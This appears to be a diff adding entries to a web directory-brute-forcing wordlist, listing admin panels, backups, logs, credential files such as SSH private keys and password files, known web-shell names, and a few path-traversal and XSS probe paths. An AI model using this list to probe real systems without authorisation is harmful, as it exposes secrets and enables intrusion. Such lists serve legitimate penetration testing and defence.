+monitor/ monitoring +monitoring/ monitors +.mono/ month monthly moodle @@ -2602,70 +5241,148 @@ mp mp3 mp3s mqseries +.mr.developer.cfg mrtg +mrtg.cfg ms msadc msadm msft msg +msg/ +msg_gen/ +.msi msie msn msoffice mspace msql -mssql +msql/ ms-sql +mssql +mssql/ mstpre mt mta mt-bin +mt-check.cgi +.mtj.tmp/ mt-search mt-static multi multimedia +munin/ +muracms.esproj music Music +.mvn/timing.properties +mw-config/ +.mweval_history +.mwsql_history mx +mx.php my -myaccount my-account +myaccount +myadm/ myadmin +myadmin/ +MyAdmin/ +myadmin2/index.php +myadmin/index.php +myadminscripts/ +myadmin/scripts/setup.php +myadminscripts/setup.php +MyAdmin/scripts/setup.php myblog mycalendar mycgi my-components myfaces +_mygallery my-gift-registry myhomework myicons mypage myphpnuke +.mypy_cache/ myspace -mysql my-sql +mysql +mysql/ +mysql-admin/ +mysql/admin/ +mysqladmin/ +mysql-admin/index.php +mysqladmin/index.php +mysqladmin/scripts/setup.php mysqld +mysql/db/ +mysql/dbadmin/ +mysql_debug.sql mysqldumper +mysqldumper/ +mysql.err +.mysql_history +mysql/index.php +mysqlitedb.db +mysql.log mysqlmanager +mysqlmanager/ +mysql/mysqlmanager/ +mysql.php +mysql/pma/ +mysql/pMA/ +mysql/scripts/setup.php +mysql/sqlmanager/ +mysql.tar.gz +mysql/web/ +mysql.zip mytag_js +my.tar.gz mytp my-wishlist +my.zip n N nachrichten +naginator +naginator/ nagios +nagios/ name names +.nano_history +nano.save national +native_stderr.log +native_stdout.log nav +.navigation/ navigation navsiteadmin navSiteAdmin +navSiteAdmin/ +nbactions.xml +nb-configuration.xml +.nbproject/ +nbproject/ +nbproject/private/private.properties +nbproject/private/private.xml +nbproject/project.properties +nbproject/project.xml nc ne +_net net +net/ netbsd netcat +netdata +netdata/ nethome +.netrc +.netrwhist nets netscape netstat @@ -2673,14 +5390,20 @@ netstorage network networking new +New%20Folder +New%20folder%20(2) newadmin newattachment +newbbs/ +newbbs/login +new.php newposts newreply news News -news_insert newsadmin +newsadmin/ +news_insert newsite newsletter newsletters @@ -2688,24 +5411,55 @@ newsline newsroom newssys newstarter +new.tar.gz newthread newticket +new.zip +.next next +nextcloud +nextcloud/ nfs +nfs/ +ng-cli-backup.json +nginx-access.log +nginx.conf +nginx-error.log +nginx-ssl.access.log +nginx-ssl.error.log +nginx-status/ +nginx_status +ngx_pagespeed_beacon/ +.nia.cache +nia.cache nice nieuws +nimcache/ ningbar nk9 nl +.nlia.cache +nlia.cache no +~nobody nobody node -noindex +.nodelete +node_modules +node_modules/ +.node_repl_history +nohup.out no-index +noindex nokia none +nosetests.xml +not/ note +_notes +_notes/ notes +_notes/dwsync.xml notfound noticias notification @@ -2714,27 +5468,51 @@ notified notifier notify novell +_novo/ +_novo/composer.lock +.npm +npm-debug.log +.npmignore +.npmrc +npm-shrinkwrap.json nr +.nra.cache +nra.cache +.nrepl-port ns +.nsconfig +.nsf nsf +nst.php +nstview.php +nsw/ +nsw/admin/login.php ntopic +.ntvs_analysis.dat nude +.nuget/ +.nuget/packages.config nuke nul null number +nwp-content/ +nwp-content/plugins/disqus-comment-system/disqus.php nxfeed +.nyc_output +nytprof.out nz o O OA -OA_HTML -oa_servlets OAErrorDetailPage +OA_HTML OasDefault +oa_servlets oauth obdc obj +obj/ object objects obsolete @@ -2750,41 +5528,71 @@ offerdetail offers office Office +Office/ +Office/graph.php offices offline ogl +olap/ +.old +_old old -old_site +old/ +old_files +oldfiles +old.htaccess +old.htpasswd oldie -oldsite old-site +old_site +old_site/ +oldsite +.oldsnippets +.oldstatic +old.tar.gz +old.zip omited on +ona onbound online onsite op +opa-debug-js open open-account openads openapp openbsd opencart +OpenCover/ opendir openejb openfile +open-flash-chart.swf?get-data=xss openjpa opensearch +openshift +openshift/ opensource +openstack +openstack/ +opentsdb +opentsdb/ openvpnadmin +openvpnadmin/ openx opera +operador/ operations +~operator operator +operator/ opinion opinions opml opros +ops/ opt option options @@ -2792,76 +5600,135 @@ ora oracle oradata order -order_history -order_status +order_add_log.txt order-detail orderdownloads ordered orderfinished order-follow order-history +order_history +order.log +order_log order-opc order-return orders +orders.csv order-slip +orders.log +orders_log +orders.sql +orders.sql.gz +order_status orderstatus +orders.txt +orders.xls ordertotal +order.txt org organisation organisations organizations +.org-id-locations orig original +orleans.codegen.cs os osc oscommerce +ospfd.conf +.ost +osticket +osticket/ other others otrs +otrs/ out +out/ outcome outgoing outils outline output +output/ +output-build.txt outreach +out.txt +_overlay oversikt overview owa +OWA/ owl +owncloud +owncloud/ owners ows ows-bin p +p/ P p2p p7pm pa pack package +package/ +package-cache packaged +package.json +package-lock.json +.packages packages +Package.StoreAssociation.xml packaging packed +packer_cache/ pad page page_1 -page_2 -page_sample1 page1 +page_2 page2 pageid -pagenotfound page-not-found +pagenotfound pager +pagerduty +pagerduty/ +_pages pages +pages/ Pages +pages/admin/ +pages/admin/admin-login +pages/admin/admin-login.html +pages/admin/admin-login.php +page_sample1 +pages/moderator.php pagination paid paiement +painel/ +painel/config/config.php.example +paineldecontrole/ +.paket/ +paket-files/ pam panel +panel. +panel/ +panel-administracion/ +panel-administracion/admin.html +panel-administracion/admin.php +panel-administracion/index.html +panel-administracion/index.php +panel-administracion/login +panel-administracion/login.html +panel-administracion/login.php panelc +panel.php paper papers parse @@ -2870,39 +5737,78 @@ partenaires partner partners parts +parts/ party +.pass pass +pass.dat +.passes passes +passes.txt passive +passlist +passlist.txt passport +pass.txt passw +.passwd passwd +passwd.adjunct +passwd.bak +passwd.txt passwor +.password password +Password +password.html +password.log +password.mdb +.passwords passwords +passwords.html +passwords.mdb +password.sqlite +passwords.sqlite +passwords.txt +password.txt +.passwrd past patch +.patches/ patches patents path +path/ +path/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf +pause +pause.json pay payment +payment_authorizenet.log payment_gateway +payment.log +payment_paypal_express.log payments paypal -paypal_notify paypalcancel +paypal_notify paypalok pbc_download pbcs pbcsad pbcsi +pbmadmin/ pbo +pbx +pbx/ pc +pc/ pci pconf pd pda +pdc/ +.pdf pdf PDF pdf-invoice @@ -2913,22 +5819,37 @@ peek peel pem pending +pentaho/ people People +.perf perf performance perl perl5 +perlcmd.cgi +perl-reverse-shell.pl person personal +personal.mdb personals +personal.sqlite pfx pg pgadmin +pgadmin/ +.pgadmin3 +pgadmin.log +pg_hba.conf pgp +.pgpass pgsql +.pgsql_history +PharoDebug.log phf +phinx.yml phishing +phoenix phone phones phorum @@ -2938,14 +5859,20 @@ photogallery photography photos php +php/ PHP -php.ini -php_uploads php168 php3 +php4.ini +php5.fcgi +php5.ini phpadmin +phpadmin/ +phpadmin/index.php +phpadminmy/ phpads phpadsnew +php-backdoor.php phpbb phpBB phpbb2 @@ -2954,72 +5881,382 @@ phpbb3 phpBB3 php-bin php-cgi +php-cgi.core +php_cli_errors.log +php-cli.ini +php.core +php-cs-fixer.phar +php/dev/ +php-error.log +php_error.log +php_error_log +php_errorlog +php-errors.log +php_errors.log +phperrors.log +php-errors.txt +php-error.txt phpEventCalendar +phpFileManager/ +phpFileManager.php +php-findsock-shell.php +phpfm/ +phpfm-1.6.1/ +phpfm-1.7/ +phpfm-1.7.1/ +phpfm-1.7.2/ +phpfm-1.7.3/ +phpfm-1.7.4/ +phpfm-1.7.5/ +phpfm-1.7.6/ +phpfm-1.7.7/ +phpfm-1.7.8/ +phpfm.php +php-fpm/ +php-fpm/error.log +php-fpm/www-error.log +.php_history phpinfo +php-info.php phpinfo.php +phpinfo.php3 +phpinfo.php4 +phpinfo.php5 phpinfos +phpinfos.php +.php-ini +php.ini +php.ini_ +php.ini~ +phpini.bak +php.ini-orig.txt +php.ini.sample +.phpintel phpldapadmin +phpldapadmin/ phplist +phpLiteAdmin/ +phpLiteAdmin_/ +phpliteadmin%202.php +phpliteadmin.php phplive +php.lnk +php.log +phpm/ +phpma/ phpmailer +phpma/index.php +phpmanager/ phpmanual +phpmem/ +phpmemcachedadmin/ +phpminiadmin/ +phpminiadmin.php +phpmoadmin/ +phpMoAdmin/ phpmv2 +phpmy/ +phpMy/ +phpMyA/ +phpmyad/ +phpMyAdmi/ +_phpmyadmin/ +php-my-admin/ +php-myadmin/ +phpmy-admin/ phpmyadmin +phpmyadmin/ +phpmyAdmin/ +phpMyadmin/ phpMyAdmin +phpMyAdmin/ +phpmyadmin0/ +phpMyAdmin0/ +phpmyadmin0/index.php +phpmyadmin1/ +phpMyAdmin1/ +phpmyadmin1/index.php phpmyadmin2 +phpmyadmin2/ +phpMyAdmin-2/ phpMyAdmin2 +phpMyAdmin2/ +phpmyadmin2011/ +phpmyadmin2012/ +phpmyadmin2013/ +phpmyadmin2014/ +phpmyadmin2015/ +phpmyadmin2016/ +phpmyadmin2017/ +phpmyadmin2018/ +phpMyAdmin-2.10.0/ +phpMyAdmin-2.10.1/ +phpMyAdmin-2.10.2/ +phpMyAdmin-2.10.3/ +phpMyAdmin-2.11.0/ +phpMyAdmin-2.11.1/ +phpMyAdmin-2.11.10/ +phpMyAdmin-2.11.2/ +phpMyAdmin-2.11.3/ +phpMyAdmin-2.11.4/ +phpMyAdmin-2.11.5/ +phpMyAdmin-2.11.5.1-all-languages/ +phpMyAdmin-2.11.6/ +phpMyAdmin-2.11.6-all-languages/ +phpMyAdmin-2.11.7/ +phpMyAdmin-2.11.7.1-all-languages/ +phpMyAdmin-2.11.7.1-all-languages-utf-8-only/ +phpMyAdmin-2.11.8.1/ +phpMyAdmin-2.11.8.1-all-languages/ +phpMyAdmin-2.11.8.1-all-languages-utf-8-only/ +phpMyAdmin-2.11.9/ +phpMyAdmin-2.2.3/ +phpMyAdmin-2.2.6/ +phpMyAdmin-2.5.1/ +phpMyAdmin-2.5.4/ +phpMyAdmin-2.5.5/ +phpMyAdmin-2.5.5-pl1/ +phpMyAdmin-2.5.5-rc1/ +phpMyAdmin-2.5.5-rc2/ +phpMyAdmin-2.5.6/ +phpMyAdmin-2.5.6-rc1/ +phpMyAdmin-2.5.6-rc2/ +phpMyAdmin-2.5.7/ +phpMyAdmin-2.5.7-pl1/ +phpMyAdmin-2.6.0/ +phpMyAdmin-2.6.0-alpha/ +phpMyAdmin-2.6.0-alpha2/ +phpMyAdmin-2.6.0-beta1/ +phpMyAdmin-2.6.0-beta2/ +phpMyAdmin-2.6.0-pl1/ +phpMyAdmin-2.6.0-pl2/ +phpMyAdmin-2.6.0-pl3/ +phpMyAdmin-2.6.0-rc1/ +phpMyAdmin-2.6.0-rc2/ +phpMyAdmin-2.6.0-rc3/ +phpMyAdmin-2.6.1/ +phpMyAdmin-2.6.1-pl1/ +phpMyAdmin-2.6.1-pl2/ +phpMyAdmin-2.6.1-pl3/ +phpMyAdmin-2.6.1-rc1/ +phpMyAdmin-2.6.1-rc2/ +phpMyAdmin-2.6.2/ +phpMyAdmin-2.6.2-beta1/ +phpMyAdmin-2.6.2-pl1/ +phpMyAdmin-2.6.2-rc1/ +phpMyAdmin-2.6.3/ +phpMyAdmin-2.6.3-pl1/ +phpMyAdmin-2.6.3-rc1/ +phpMyAdmin-2.6.4/ +phpMyAdmin-2.6.4-pl1/ +phpMyAdmin-2.6.4-pl2/ +phpMyAdmin-2.6.4-pl3/ +phpMyAdmin-2.6.4-pl4/ +phpMyAdmin-2.6.4-rc1/ +phpMyAdmin-2.7.0/ +phpMyAdmin-2.7.0-beta1/ +phpMyAdmin-2.7.0-pl1/ +phpMyAdmin-2.7.0-pl2/ +phpMyAdmin-2.7.0-rc1/ +phpMyAdmin-2.8.0/ +phpMyAdmin-2.8.0.1/ +phpMyAdmin-2.8.0.2/ +phpMyAdmin-2.8.0.3/ +phpMyAdmin-2.8.0.4/ +phpMyAdmin-2.8.0-beta1/ +phpMyAdmin-2.8.0-rc1/ +phpMyAdmin-2.8.0-rc2/ +phpMyAdmin-2.8.1/ +phpMyAdmin-2.8.1-rc1/ +phpMyAdmin-2.8.2/ +phpmyadmin2/index.php +phpmyadmin3/ +phpMyAdmin-3/ +phpMyAdmin3/ +phpMyAdmin-3.0.0/ +phpMyAdmin-3.0.1/ +phpMyAdmin-3.1.0/ +phpMyAdmin-3.1.1/ +phpMyAdmin-3.1.2/ +phpMyAdmin-3.1.3/ +phpMyAdmin-3.1.4/ +phpMyAdmin-3.1.5/ +phpMyAdmin-3.2.0/ +phpMyAdmin-3.2.1/ +phpMyAdmin-3.2.2/ +phpMyAdmin-3.2.3/ +phpMyAdmin-3.2.4/ +phpMyAdmin-3.2.5/ +phpMyAdmin-3.3.0/ +phpMyAdmin-3.3.1/ +phpMyAdmin-3.3.2/ +phpMyAdmin-3.3.2-rc1/ +phpMyAdmin-3.3.3/ +phpMyAdmin-3.3.3-rc1/ +phpMyAdmin-3.3.4/ +phpMyAdmin-3.3.4-rc1/ +phpmyadmin4/ +phpMyAdmin-4/ +phpMyAdmin4/ +phpMyAdminBackup/ +phpMyadmin_bak/index.php +phpmyadmin/index.php +phpMyAdmin/index.php +phpmyadmin-old/index.php +phpMyAdmin.old/index.php +phpMyAdminold/index.php +phpmyadmin/phpmyadmin/index.php +phpMyAdmin/phpMyAdmin/index.php +phpmyadmin/scripts/setup.php +phpMyAdmin/scripts/setup.php +phpMyAds/ +phpmyad-sys/ phpnuke phppgadmin +phppgadmin/ +phpPgAdmin/ +php.php +php/php.cgi +phppma/ +phpRedisAdmin/ +phpredmin/ +php-reverse-shell.php +phproad/ phps +phpsecinfo/ phpsitemapng +phpspec.yml phpSQLiteAdmin +phpSQLiteAdmin/ +.phpstorm.meta.php +phpstudy.php +phpsysinfo/ +phptest.php phpthumb +phpThumb/ +phpThumb.php +.phptidy-cache +php-tiny-shell.php +phpunit.phar +phpunit.xml +phpunit.xml.dist +php_uploads +.php-version +.phpversion phtml +phymyadmin/ pic pics picts picture -picture_library picturecomment +picture_library pictures +pids pii +pinfo.php ping pingback +pip-delete-this-directory.txt pipe pipermail +pi.php +pi.php5 +pip-log.txt piranha pivot +piwigo/ +piwigo/extensions/UserCollections/template/ZeroClipboard.swf piwik pix pixel pixelpost pkg +pkg/ pkginfo +_pkginfo.txt pkgs +.pki pl +.placeholder placeorder places plain +planning/cfg +planning/docs +planning/src plate platz_login +platz_login/ play +play-cache player -player.swf players +player.swf +playground.xcworkspace playing playlist +play-stash please plenty plesk-stat pls plugin plugins +plugins/ +plugins/editors/fckeditor +plugins/fckeditor +plugins.log +plugins/sfSWFUploadPlugin/web/sfSWFUploadPlugin/swf/swfupload_f9.swf +plugins/sfSWFUploadPlugin/web/sfSWFUploadPlugin/swf/swfupload.swf +plugins/tiny_mce/ +plugins/tinymce/ +plugins/upload.php +plugins/web.config +plugin.xml +plupload plus plx pm +__pma___ +p/m/a/ pma +pma/ PMA +PMA/ +pma2005/ +PMA2005/ +pma2009/ +PMA2009/ +pma2011/ +PMA2011/ +pma2012/ +PMA2012/ +pma2013/ +PMA2013/ +pma2014/ +PMA2014/ +pma2015/ +PMA2015/ +pma2016/ +PMA2016/ +pma2017/ +PMA2017/ +pma2018/ +PMA2018/ +PMA2/index.php +pma4/ +pmadmin/ +pma/index.php +PMA/index.php +pmamy2/index.php +pmamy/index.php +pma-old/index.php +pma/scripts/setup.php +pmd/index.php +pm_to_blib pmwiki +pmyadmin/ pnadodb png pntables @@ -3038,6 +6275,12 @@ poll pollbooth polls pollvote +pom.xml +pom.xml.asc +pom.xml.next +pom.xml.releaseBackup +pom.xml.tag +pom.xml.versionsBackup pool pop pop3 @@ -3054,6 +6297,7 @@ popups porn port portal +portal/ portals portfolio portfoliofiles @@ -3062,12 +6306,12 @@ portlets ports pos post -post_thanks postcard postcards posted postgres postgresql +postgresql.conf posthistory postinfo posting @@ -3076,12 +6320,16 @@ postnuke postpaid postreview posts +post_thanks posttocar +.powenv power power_user +power_user/ pp ppc ppcredir +p.php ppt pr pr0n @@ -3097,8 +6345,8 @@ presentations preserve press Press -press_releases presse +press_releases pressreleases pressroom prev @@ -3110,27 +6358,35 @@ pricelist prices pricing print -print_order printable printarticle printenv +printenv.tmp printer printers printmail +print_order printpdf printthread printview priv +priv8.php privacy Privacy +privacy-policy privacy_policy privacypolicy -privacy-policy privat +_private +_private/ private private2 privateassets +private.key +private.mdb privatemsg +private.php/ +private.sqlite prive privmsg privs @@ -3141,8 +6397,15 @@ problems proc procedures process -process_order processform +processlogin +processlogin.php +processlogin.php/ +process_order +Procfile +Procfile.dev +Procfile.offline +.procmailrc procure procurement prod @@ -3150,40 +6413,59 @@ prodconf prodimages producers product +productcockpit/ product_compare +productdetails product_image +productimage product_images product_info -product_reviews -product_thumb -productdetails -productimage production production.log +product.json productquestion +product_reviews products Products products_new product-sort productspecs +product_thumb productupdates produkte professor profil +.profile profile profiles +profiles.xml profiling proftpd prog program +program/ Program Files programming programs progress +proguard/ +.project +.project/ project project-admins +project-admins/ +project.fragment.lock.json +project.lock.json +.projectOptions +project/project projects Projects +project/target +.project.xml +project.xml +prometheus +prometheus/ +prometheus/targets promo promos promoted @@ -3193,93 +6475,158 @@ proof proofs prop prop-base +propel.ini +.properties properties property props prot protect protected +protected/data/ +protected/runtime/ protection proto provider providers +providers.json proxies proxy +proxy/ +proxy.pac +proxy.stream?origin=https://google.com prueba pruebas prv +prv/ prv_download ps +.psci +.psci_modules psd psp psql +.psql_history +.psqlrc +.pst +PSUser/ pt pt_BR ptopic +.pub/ pub public -public_ftp -public_html +public.. publication +publication_list.xml publications Publications +public_ftp +public/hot +public_html publicidad +public/storage +public/system publish +publish/ published publisher +PublishScripts/ pubs +pubspec.lock pull +puppet +puppet/ purchase purchases purchasing pureadmin +pureadmin/ push put putty putty.reg +_Pvt_Extensions pw pw_ajax pw_api pw_app +.pwd pwd +pwd.db +pws.txt +pw.txt py +__pycache__/ +py-compile +.pydevproject +.pytest_cache/ python +.Python +.python-eggs +.python-history +.python-version q q1 q2 q3 q4 qa +qa/ qinetiq +.qmake.cache +.qmake.stash qotd qpid +.qqestore/ +qql/ +qq.php qsc +qsd-php-backdoor.php quarterly queries query +query.log question questions queue queues quick +QuickLook/ quickstart +quikstore.cfg quiz quote quotes r R +r00t.php r57 +r57eng.php +r57.php +r57shell.php +r58.php +r99.php +rabbitmq +rabbitmq/ radcontrols radio +radius +radius/ radmind +radmind/ radmind-1 +radmind-1/ rail rails +rails/info/properties Rakefile ramon random rank ranks +.Rapp.history +.rar rar rarticles rate @@ -3291,30 +6638,67 @@ ratethread rating rating0 ratings +.raw +raygun +raygun/ rb +.rbtp +rcf/ +rcjakar/ +rcjakar/admin/login.php rcLogin +rcLogin/ rcp rcs RCS rct rd +.RData rdf +rdoc/ +.rdsTempFiles read +Read +Read%20Me.txt reader readfile readfolder +read.me readme Readme +ReadMe README +README.htm +readme.html +Readme.html +ReadMe.html +README.html +README.HTML +readme.md +Readme.md +ReadMe.md +README.md +README.MD +readme.mkd +README.mkd +readme.php +readme.txt +Readme.txt +Read_Me.txt +ReadMe.txt +README.txt +README.TXT real realaudio realestate RealMedia +.rebar receipt receipts receive received recent +recentservers.xml recharge recherche recipes @@ -3325,6 +6709,7 @@ recorded recorder records recoverpassword +__recovery/ recovery recycle recycled @@ -3338,6 +6723,11 @@ redirection redirector redirects redis +redis/ +.rediscli_history +redmine +redmine/ +.reek ref refer reference @@ -3345,6 +6735,8 @@ references referer referral referrers +refresh +refresh.json refuse refused reg @@ -3353,18 +6745,32 @@ region regional register registered +register.php registration +registration/ registrations registro +registry +registry/ reklama related release +RELEASE_NOTES.txt +release.properties releases +rel/example_project religion +relogin +relogin.htm +relogin.html +relogin.php remind -remind_password reminder +remind_password remote +remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd +remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession +.remote-sync.json remotetracer removal removals @@ -3375,6 +6781,7 @@ rendered reorder rep repl +.repl_history replica replicas replicate @@ -3383,8 +6790,10 @@ replication replicator reply repo +repo/ report reporting +_reports reports reports list repository @@ -3395,11 +6804,15 @@ req reqs request requested +request.log requests require +requirements.txt requisite requisition requisitions +rerun.txt +_res res research Research @@ -3414,18 +6827,32 @@ resolution resolve resolved resource +_resources resources +resources/ Resources +resources/.arch-internal-preview.css +resources/fckeditor +resources/sass/.sass-cache/ +resources/tmp/ +resources.xml respond responder rest +rest/ +rest-api/ +restart +restart.json restaurants +rest-auth/ restore restored +restore.php restricted result results resume +resume.json resumes retail returns @@ -3436,7 +6863,13 @@ revert reverted review reviews +.revision +revision.inc +revision.txt rfid +.Rhistory +.rhost +.rhosts rhtml right ro @@ -3446,22 +6879,36 @@ roaming robot robotics robots +.robots.txt robots.txt +robots.txt.dist +robot.txt +.rocketeer/ role roles roller room +~root root +root/ Root +RootCA.crt +.ropeproject rorentity rorindex rortopics +roundcube/index.php route router routes rpc +rpc/ +r.php +.Rproj.user/ rs rsa +rsconnect/ +.rspec rss RSS rss10 @@ -3469,40 +6916,74 @@ rss2 rss20 rssarticle rssfeed +rst.php rsync +.rsync_cache +.rsync_cache/ +.rsync-filter rte rtf ru rub +.rubocop_todo.yml +.rubocop.yml ruby +.ruby-gemset +.ruby-version +rudder +rudder/ rule rules run rus +RushSite.xml +.rvmrc rwservlet s S s1 +.s3backupstatus sa +sa2.php safe safety +saff/ sale sales +sales.csv salesforce +salesforce.schema +sales.log +sales.sql +sales.sql.gz +sales.txt +sales.xls +saltstack +saltstack/ sam samba saml sample samples +sample.txt +sample.txt~ san sandbox +sa.php +.sass-cache/ sav save saved +Saved/ saves sb sbin +sbt +sbt/ sc +.scala_history +scalyr +scalyr/ scan scanned scans @@ -3510,128 +6991,236 @@ scgi-bin sched schedule scheduled +scheduledtasks scheduling schema schemas +schema.sql +schema.yml schemes school schools science +.sconsign.dblite scope scr +.scrapy scratc screen screens screenshot screenshots script +script/ scripte +script/jqueryplugins/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf scriptlet scriptlets +_scriptlibrary scriptlibrary scriptresource +_scripts scripts +scripts/ Scripts +scripts/ckeditor/ckfinder/core/connector/asp/connector.asp +scripts/ckeditor/ckfinder/core/connector/aspx/connector.aspx +scripts/ckeditor/ckfinder/core/connector/php/connector.php +scripts/setup.php +.scrutinizer.yml sd +sdb.php +sdist/ sdk se search Search -search_result -search_results searchnx -searchresults +searchreplacedb2cli.php +searchreplacedb2.php +search_result search-results +search_results +searchresults searchurl sec seccode +sec/login.php second secondary secret +secret/ +Secret/ secrets +secrets/ +secring.bak +secring.pgp +secring.skr section sections secure -secure_login +secure/ secureauth secured secureform +secure_login secureprocess securimage security +security/ Security seed select selectaddress selected +.selected_editor selection +selenium +selenium/ self sell sem seminar seminars send -send_order -send_pwd -send_to_friend sendform sendfriend +sendgrid.env sendmail sendmessage +send_order send-password sendpm +send_pwd sendthread sendto +send_to_friend sendtofriend +senha/ +senhas/ sensepost sensor +sensu +sensu/ sent +sentemails.log +sentry +sentry/ seo serial serv serve server +server/ Server -server_admin_small -server_stats +Server/ ServerAdministrator +ServerAdministrator/ +server_admin_small +server_admin_small/ +server.cfg +server/config.json SERVER-INF server-info +server.js +ServerList.cfg +ServerList.xml +server.log +Server.php +server.pid servers +server/server.js +server_stats server-status +server-status/ +serverStatus.log +servers.xml +server.xml service +service.asmx +ServiceFabricBackup/ servicelist +service-registry/instance-status +service-registry/instance-status.json services +services/ Services +services/config/databases.yml servicio servicios servlet +servlet/ Servlet +servlet/%C0%AE%C0%AE%C0%AF +servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml +servlet/Oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml +servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml +servlet/Oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml servlets Servlets servlets-examples +servlet/SnoopServlet +serv-u.ini sess session +session/ sessionid sessionlist sessions +sessions/ set setcurrency setlocale setting +.settings +.settings/ settings +settings/ +.settings/.jsdtscope +.settings/org.eclipse.core.resources.prefs +.settings/org.eclipse.php.core.prefs +.settings/org.eclipse.wst.common.project.facet.core.xml +.settings/org.eclipse.wst.jsdt.ui.superType.container +.settings/org.eclipse.wst.jsdt.ui.superType.name +settings.php +settings.php~ +settings.php.bak +settings.php.dist +settings.php.old +settings.php.save +.settings.php.swp +settings.php.swp +settings.php.txt +settings.py +Settings/ui.plist +settings.xml setup +setup/ +setup.data +setup.log +setup.php +setup.sql setvatsetting sex sf +sff/ +sftp-config.json sg +.sh sh +Sh3ll.php shadow shaken share shared shares +sheep.php shell +shell/ +shell.php +shell.sh +shellz.php +.sh_history shim ship shipped @@ -3642,9 +7231,10 @@ shipquote shit shockwave shop +shopadmin shop_closed shop_content -shopadmin +shopdb/ shopper shopping shopping_cart @@ -3656,64 +7246,107 @@ shopstat shopsys shoutbox show -show_post -show_thread showallsites showcase showcat showcode +showcode.asp showenv showgroups showjobs showkey showlogin +showlogin/ showmap showmsg +show_post showpost showroom shows +show_thread showthread +.shrc shtml +shutdown si sid +sidekiq +sidekiq_monitor sign -sign_up signature signaturepics signed signer +sign-in +sign-in/ +sign_in +sign_in/ signin +signin/ signing +signin.php signoff signon signout -signup sign-up +sign_up +signup +signup.action simple +simple-backdoor.php simplelogin simpleLogin +simpleLogin/ single single_pages sink +sip +sip/ +sistema/ +_site/ site -site_map +site/ +site/admin/ +site_admin siteadmin +siteadmin/ +siteadmin/index.php +siteadmin/login.html +site_admin/login.php +siteadmin/login.php +siteadmin.php sitebuilder +site/common.xml sitecore sitefiles siteimages -sitemap +sitemanager.xml site-map +site_map +sitemap SiteMap sitemap.gz -sitemap.xml sitemaps +sitemap.xml sitemgr +site.rar sites Sites +sites/all/libraries/README.txt +sites/all/modules/README.txt +sites/all/themes/README.txt SiteScope sitesearch SiteServer +sites/example.sites.php +sites.ini +site.sql +sites/README.txt +sites.xml +site.tar.gz +site.txt +site.zip +sized/ sk skel skin @@ -3723,32 +7356,44 @@ skins skip sl slabel +slapd.conf slashdot -slide_show slides +slide_show slideshow slimstat sling +.sln sm small smarty smb smblogin +smblogin/ smf smile smiles +.smileys smileys smilies sms smtp +.smushit-status snippets snoop +snoop.jsp +snort +snort/ snp so soap +soap/ soapdocs +soapdocs/ +soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml SOAPMonitor soaprouter +soapserver/ social soft software @@ -3761,13 +7406,26 @@ solutions solve solved somebody +sonar +sonar/ +sonarcube +sonarcube/ +sonarqube +sonarqube/ songs sony soporte sort sound sounds +_source source +source/ +SourceArt/ +source_gen +source_gen.caches +source/inspector.html +source.php sources Sources sox @@ -3776,22 +7434,32 @@ space spacer spain spam +.spamassassin spamlog.log spanish spaw speakers spec +spec/ +spec/examples.txt special special_offers specials specified +spec/lib/database.yml +spec/lib/settings.local.yml +spec/reports/ specs +spec/tmp speedtest spellchecker sphider +s.php spider spiders splash +splunk +splunk/ sponsor sponsors spool @@ -3800,72 +7468,188 @@ sports Sports spotlight spryassets +spwd.db Spy +spy.aspx +.spyderproject +.spyproject spyware sq +.sql sql +sql/ +__SQL +_SQL SQL -sqladmin +_sqladm +sqladm sql-admin +sql-admin/ +sqladmin +sqladmin/ +sqlbuddy +sqlbuddy/ +sqlbuddy/login.php +.sql.bz2 +sql_dumps +sql_error.log +.sql.gz +sql.inc +sql/index.php +.sqlite_history sqlmanager +sqlmanager/ +sqlmigrate.php +sql/myadmin/ sqlnet +sqlnet.log +sql.php +sql/phpmanager/ +sql/php-myadmin/ +sql/phpmy-admin/ +sql/phpMyAdmin/ +sql/phpmyadmin2/ +sql/phpMyAdmin2/ +sql.sql +sql/sql/ +sql/sql-admin/ +sql/sqladmin/ +sql/sqlweb/ +sql.tar +sql.tar.gz +sql.tgz +sql.txt sqlweb +sqlweb/ +sql/webadmin/ +sql/webdb/ +sql/websql/ +SQLyogTunnel.php +sql.zip +SqueakDebug.log squelettes squelettes-dist +squid +squid/ +squid3_log/ +squid-reports/ squirrel squirrelmail sr +_src src +src/ +.src/app.js +src/app.js srchad +.src/index.js +src/index.js +.src/server.js +src/server.js srv +srv/ +srv_gen/ ss -ss_vms_admin_sm ssfm +.ssh +.ssh/ ssh +ssh/ sshadmin +sshadmin/ +.ssh.asp +.ssh/authorized_keys +.ssh/id_dsa +.ssh/id_rsa +.ssh/id_rsa~ +.ssh/id_rsa.key +.ssh/id_rsa.key~ +.ssh/id_rsa.priv +.ssh/id_rsa.priv~ +.ssh/id_rsa.pub +.ssh/id_rsa.pub~ +.ssh/know_hosts +.ssh/know_hosts~ +.ssh/known_host +.ssh/known_hosts +.ssh.php ssi ssl +ssl/ ssl_check sslvpn ssn sso ssp_director +ss_vms_admin_sm +ss_vms_admin_sm/ st stackdump +stackstorm +stackstorm/ +stacktrace.log +.stack-work/ staff +staff/ staff_directory staffs stage staging stale +stamp-h1 standalone standard standards star staradmin +staradmin/ start starter +start.html startpage +startServer.log +start.sh +startup.sh +stas +stas/ +stash +stash/ stat +stat/ state statement statements states static +static.. +static/dump.sql staticpages statistic statistics +statistics/ Statistics statistik +statredir/ +_stats stats +stats/ Stats +statsd +statsd/ statshistory status +status/ +status?full=true statusicon +statusicon/ +status.xsl +.st_cache/ stock stoneedge stop storage +storage/ +storage/logs/laravel.log store store_closed stored @@ -3873,11 +7657,16 @@ stores stories story stow +st.php strategy stream +StreamingStatistics string +stronghold-info +stronghold-status strut struts +stssys.htm student students studio @@ -3885,16 +7674,24 @@ stuff style style_avatars style_captcha +StyleCopReport.xml style_css style_emoticons style_images +.stylelintrc +_styles styles stylesheet stylesheets +stylesheets/bundles sub subdomains subject +.sublime-gulp.cache +.sublime-project +.sublime-workspace sub-login +sub-login/ submenus submissions 